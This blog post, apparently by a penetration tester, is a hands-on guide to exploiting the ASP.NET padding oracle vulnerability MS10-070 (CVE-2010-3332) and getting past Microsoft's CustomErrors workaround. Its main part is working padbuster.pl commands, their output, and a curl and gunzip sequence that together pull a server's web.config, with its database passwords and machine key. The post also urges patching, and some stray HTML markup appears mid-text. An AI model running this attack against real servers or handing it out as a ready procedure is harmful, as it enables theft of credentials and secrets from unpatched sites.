Exploiting .NET Padding Oracle Attack MS10-070 (CVE-2010-3332) and Bypassing Microsoft’s Workaround
This post was originally written in October of 2010, and has been lightly updated in 2015.
This week I ran into my first ASP.NET site since MS10-070. I had read Bryan Holyfield and Giorgio Fedon‘s posts, which were great posts with groundbreaking information, although it was still unclear as to how to actually exploit the vulnerability. Tim Medin and I worked together to exploit this vulnerability. He posted his experiences at Security Whole.
This is a very widespread and severe vulnerability. If you have not applied the patch yet, apply it now. One interesting thing to keep in mind about this vulnerability is that all Windows 2000 boxes will be permanently exposed to it, since their support has ended in July of 2010.
Interacting with the tool and trying to interpret the correct steps through blogs was the most difficult part of exploiting this vulnerability. The blog posts were great, but at the same time were confusing. I still have a few unanswered questions, but I’d like to share my experience to help out others attempting to exploit this vulnerability. Without further ado, here are the steps to obtain the web.config for a site that has the original workaround ([padding] errors issue 302 redirects via CustomErrors).
Prep for the attack
- First, obtain a valid “d” value by observing a normal link to ScriptResource.axd (you can use ScriptResource.axd as the URL throughout this attack).
- Before starting, it’d be a good idea to verify the site is vulnerable by using ms10-070CheckPatch. This does some slight decoding and takes the length modulus 8. The patch adds more characters to the “d” value. I’d check a few parameters if you want to be sure it’s vulnerable (are multiples of 8 not possible with the patch?).
- If the ScriptResource.axd is authenticated, setup Burp Intruder to keep the cookies alive.
The actual attack
Bruteforce a valid T-Block to use as a prefix (using -bruteforce) and be sure to get the right block size and encoding method. If you can’t get a valid oracle, then try a different block size and encoding method. If you do get a valid oracle (it will tell you it found 255 of one type of response and 1 of another), chose the option it suggests.
$ perl padbuster.pl “https://site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx” xxxxxxxxxxxxxxxx 16 -encoding 3 -bruteforce -log -verbose -cookies “ASP.NET_SessionId=f2471ac5-e515-…”
The output should look like this.
*** Response Analysis Complete ***
The following response signatures were returned:
——————————————————-
ID# Freq Status Length Location
——————————————————-
1 1 500 3542 N/A
2 ** 255 404 3272 N/A
——————————————————-Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Once you have found a T-Block request, it’ll say something like this, where the “d” value is your new T-block to use as prefix.
Attempt 15 – Status: 200 – Content Length: 393 https://site.org/dir/ScriptResource.axd?d=DgAAAAAAAAAAAAAAAAAAAM8X6Hz6gTDN5E1DDdDehBXoKFW TIM8UquygrlBs-oA68elaNxHtban…
Now we encrypt the plaintext using -prefix (from previous step) and -plaintext (using “|||~/web.config”).
perl padbuster.pl “https://site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx” xxxxxxxxxxxxxxxx 16 -encoding 3 -plaintext “|||~/web.config” -noiv -prefix “DgAAAAAAAAAAAAAAAAAAAM8X6Hz6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtban…” -cookies “ASP.NET_SessionId=f2471ac5-e515-…”
…
———————————————————————————
** Finished ***
[+] Encrypted value is: BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1
Use the encrypted value from the above step to replace your “d” (ciphertext) value. Bruteforce the correct T-block using -bruteforce (this took us 21,000 requests or several hours). When you get a valid t-block you can test this in your browser and hopefully the title will say some garbage and then your plaintext (“|||~/web.config”). The goal of this step is to brute force one of the magic values (as mentioned in Giorgio’s blog) into the first two bytes (e.g. “r#”). The rest of the block doesn’t matter. Once you brute force the correct block you’ll see a response with a much large response length (instead of ~360 which don’t have the magic plaintext value).
Attempt 21906 – Status: 200 – Content Length: 12186
https://site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8Ojeeayad2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0
Now simply retrieve the gzip encoded web.config file using the URL. You can use a browser, or if you’re sticking to a shell you can use curl and gunzip it.
$ curl “https://site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8Ojeeayad2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0” —insecure -H “Cookie: ASP.NET_SessionId=f2471ac5-e515-…” > web.config.gz
1 |
<span class="Apple-style-span" style="font-family: arial, helvetica, sans-serif;" data-blogger-escaped-style="font-family: Arial, Helvetica, sans-serif; font-size: 12px;"><span class="Apple-style-span" style="font-family: 'times new roman';" data-blogger-escaped-style="font-family: 'Times New Roman';"> <span class="Apple-style-span" style="font-size: large;" data-blogger-escaped-style="font-size: medium; white-space: normal;">And unzip it using gunzip</span></span></span> |
gunzip -c web.config.gz > web.config
Now open your web.config and you may have just compromised database passwords, the machine key, and other goodies.
Troubleshooting
MS10-070 is an odd beast. Without fully reverse engineering the binaries, it’s tough to know what makes it work the way it does. I’ve tested servers that should have been vulnerable, but were not exploitable after many many hours of testing (I set one up in a lab). Using the exact steps above has proved to be the most reliable way to exploit this. Unfortunately, we still run into servers today that have made it over 5 years without being patched!